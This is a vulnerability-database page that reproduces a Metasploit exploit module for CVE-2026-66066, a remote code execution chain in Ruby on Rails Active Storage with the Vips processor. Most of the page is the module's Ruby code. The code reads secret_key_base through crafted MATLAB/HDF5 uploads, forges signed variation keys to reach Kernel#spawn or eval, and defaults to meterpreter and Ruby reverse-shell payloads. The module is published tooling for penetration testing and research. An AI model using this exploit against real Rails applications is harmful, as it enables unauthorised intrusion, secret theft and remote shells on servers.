Lucene search
+L

...[ More ]

🗓️ 25 Aug 2026 00:00:00Reported by castilho, Crypto-Cat, RyotaK, 0xacb, s3np41k1r1t0Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 8 Views

RCE in Rails Active Storage Vips variant processor via crafted MATLAB image upload.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-66066
3 Aug 202612:31
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-66066
29 Jul 202621:08
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-66066
29 Jul 202620:45
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-66066
29 Jul 202616:10
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-66066
4 Aug 202602:51
githubexploit
githubexploit
GithubExploit
BountySkiller
30 Jul 202619:32
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-66066
31 Jul 202616:51
githubexploit
akamaiblog
Akamai Blog
CVE-2026-66066: Defending Against the “KindaRails2Shell” Pre-Auth RCE
30 Jul 202608:00
akamaiblog
attackerkb
ATTACKERKB
CVE-2026-66066
30 Jul 202618:32
attackerkb
attackerkb
ATTACKERKB
CVE-2025-24293
30 Jan 202620:11
attackerkb
Rows per page
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HTTP::RailsActiveStorageVips
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution',
            'Description' => %q{
              This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when
              the application uses the Vips variant processor and accepts untrusted image
              uploads. A crafted MATLAB v7.3/HDF5 image uses external storage to read text
              files accessible to the Rails worker through a PNG representation response.
    
              The module recovers secret_key_base from the process environment, Rails local
              secrets, encrypted credentials, or the legacy secrets.yml(.enc) files. It then
              forges a serializer-compatible variation whose ImageProcessing apply step reaches
              Kernel#spawn with a command payload, or Kernel#eval with a native Ruby payload when
              the Ruby target is selected. Neither path requires a Marshal object gadget. The
              Ruby target's initial code execution does not require a Unix shell or a fetch
              utility on the target.
    
              The file-read stage needs a genuine signed Active Storage variation key. It can use
              VARIATION_KEY directly, reuse a representation URL from the application, or create
              one through an application upload form. Supplying SECRET_KEY_BASE skips the
              arbitrary file-read stage and lets the module construct the standard
              representation route itself.
    
              The file-read stage affects Rails 6.0 and 6.1, Rails 7.0 through 7.2.3.1,
              Rails 8.0.0 through 8.0.5, and Rails 8.1.0 through 8.1.3. It is fixed in
              Rails 7.2.3.2, 8.0.5.1, and 8.1.3.1. The RCE stage combines an incomplete
              Vips-side fix for CVE-2025-24293 with ImageProcessing 1.x method dispatch;
              ImageProcessing 2.x blocks this chain.
            },
            'Author' => [
              '0xacb', # Vulnerability discovery and research
              's3np41k1r1t0', # Vulnerability discovery and research
              'castilho', # Vulnerability discovery and research
              'RyotaK', # Independent vulnerability discovery
              'Crypto-Cat' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-66066'],
              ['GHSA', 'xr9x-r78c-5hrm'],
              ['CVE', '2025-24293'],
              ['GHSA', 'r4mg-4433-c7g3'],
              ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-how-a-matlab-file-reads-your-secrets-and-pops-a-shell-on-ruby-on-rails'],
              ['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'],
              ['URL', 'https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066/'],
              ['URL', 'https://github.com/rails/rails/pull/56995'],
              ['URL', 'https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441'],
              ['URL', 'https://github.com/rails/rails-forensics-CVE-2026-66066']
            ],
            'DisclosureDate' => '2026-07-29',
            'Privileged' => false,
            'Targets' => [
              [
                'Linux/Unix Command',
                {
                  'Platform' => [ 'unix', 'linux' ],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    # Auto-selection chooses an FTP adapter, but the framework does not
                    # support its default FETCH_COMMAND (CURL) for FTP URLs.
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', # rubocop:disable Lint/ModuleDefaultPayload
                    'FETCH_WRITABLE_DIR' => '/tmp',
                    'FETCH_DELETE' => true
                  }
                }
              ],
              [
                'Ruby',
                {
                  'Platform' => 'ruby',
                  'Arch' => ARCH_RUBY,
                  'Type' => :ruby,
                  'DefaultOptions' => {
                    # Auto-selection chooses generic/shell_reverse_tcp, which does not
                    # provide Ruby code for this eval target.
                    'PAYLOAD' => 'ruby/shell_reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Payload' => {
              'BadChars' => "\x00"
            },
            'Notes' => {
              'Stability' => [SERVICE_RESOURCE_LOSS],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path to the Rails application', '/']),
            OptString.new('LANDINGURI', [true, 'Path to a page used for CSRF-token and representation discovery', '/']),
            OptString.new('SUBMITURI', [true, 'Path that accepts the attachment form submit', '/posts']),
            OptString.new('DIRECTUPLOADURI', [true, 'Active Storage direct-upload endpoint', '/rails/active_storage/direct_uploads']),
            OptString.new('ATTACHMENT_FIELD', [true, 'Form field used for the signed blob ID', 'post[image]']),
            OptInt.new('REPRESENTATION_INDEX', [true, 'Zero-based representation image index', 0]),
            OptString.new('REPRESENTATIONURI', [false, 'Existing Active Storage representation URL or path', nil]),
            OptString.new('VARIATION_KEY', [false, 'Known signed Active Storage variation key', nil]),
            OptString.new('SECRET_KEY_BASE', [false, 'Known Rails secret_key_base; skips the arbitrary file-read stage', nil]),
            OptString.new('CSRF_TOKEN', [false, 'Known CSRF token; otherwise extracted from LANDINGURI', nil]),
            OptString.new('COOKIE', [false, 'Cookie header for an authenticated upload workflow', nil]),
            OptEnum.new('KEY_GENERATOR_DIGEST', [true, 'Rails key generator digest', 'auto', %w[auto sha256 sha1 sha384 sha512]]),
            OptEnum.new('VERIFIER_DIGEST', [true, 'Active Support message verifier HMAC digest', 'auto', %w[auto sha1 sha256 sha384 sha512]]),
            OptEnum.new('MESSAGE_SERIALIZER', [true, 'Compatible Active Support message serialization format', 'auto', %w[auto json marshal]])
          ]
        )
    
        register_advanced_options(
          [
            OptInt.new('EnvironmentMaxBytes', [true, 'Maximum bytes to read from each procfs environment file', 65_536]),
            OptInt.new('CredentialsMaxBytes', [true, 'Maximum bytes to read from each Rails credentials or secrets file', 262_144]),
            OptInt.new('MaxReadRequests', [true, 'Maximum crafted file-read requests per check or exploit phase', 4096]),
            OptString.new('ExternalStorageOrigins', [false, 'Comma-separated trusted HTTP(S) origins for external storage requests', nil])
          ]
        )
      end
    
      def check
        reset_read_budget!
        validate_options!
        if datastore['SECRET_KEY_BASE'].present?
          secret_key_base = datastore['SECRET_KEY_BASE']
          @known_secret_context = context_from_known_secret(secret_key_base)
          verify_known_secret_context(@known_secret_context)
          @active_storage_service = report_active_storage_service
          return CheckCode::Detected('Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested')
        end
    
        @read_context = detect_read_context
        @active_storage_service = report_active_storage_service
        vuln = {
          service: @active_storage_service,
          info: 'Confirmed arbitrary file read through an Active Storage representation'
        }.compact
        CheckCode::Vulnerable(
          "Recovered /proc/version with the #{@read_context[:layout][:dimension]}x#{@read_context[:layout][:dimension]} #{@read_context[:mode]} layout",
          vuln: vuln
        )
      rescue ConfigError, DataError, FlowError, TriggerError, UnreachableError => e
        CheckCode::Unknown(e.message)
      end
    
      def exploit
        reset_read_budget!
        validate_options!
        context = if datastore['SECRET_KEY_BASE'].present?
                    secret_key_base = datastore['SECRET_KEY_BASE']
                    if @known_secret_context&.dig(:secret_key_base) == secret_key_base
                      @known_secret_context
                    else
                      context_from_known_secret(secret_key_base).tap do |known_secret_context|
                        verify_known_secret_context(known_secret_context)
                      end
                    end
                  else
                    read_context = @read_context ||= detect_read_context
                    @active_storage_service = report_active_storage_service
                    unless @vulnerability_reported
                      report_vuln(
                        host: rhost,
                        port: rport,
                        proto: 'tcp',
                        service: @active_storage_service,
                        name: fullname,
                        info: 'Confirmed arbitrary file read through an Active Storage representation',
                        refs: references
                      )
                    end
                    context_from_recovered_secret(read_context)
                  end
    
        @active_storage_service = report_active_storage_service
    
        transformations = variation_transformations
        operation = transformations['send'].first
        print_status("Triggering the ImageProcessing send/#{operation} variation using #{context[:verifier_source]}")
        path = forged_representation_path(context, transformations)
        trigger_variation(path)
      rescue ConfigError, DataError => e
        fail_with(Failure::BadConfig, e.message)
      rescue UnreachableError => e
        fail_with(Failure::Unreachable, e.message)
      rescue FlowError, TriggerError => e
        fail_with(Failure::UnexpectedReply, e.message)
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation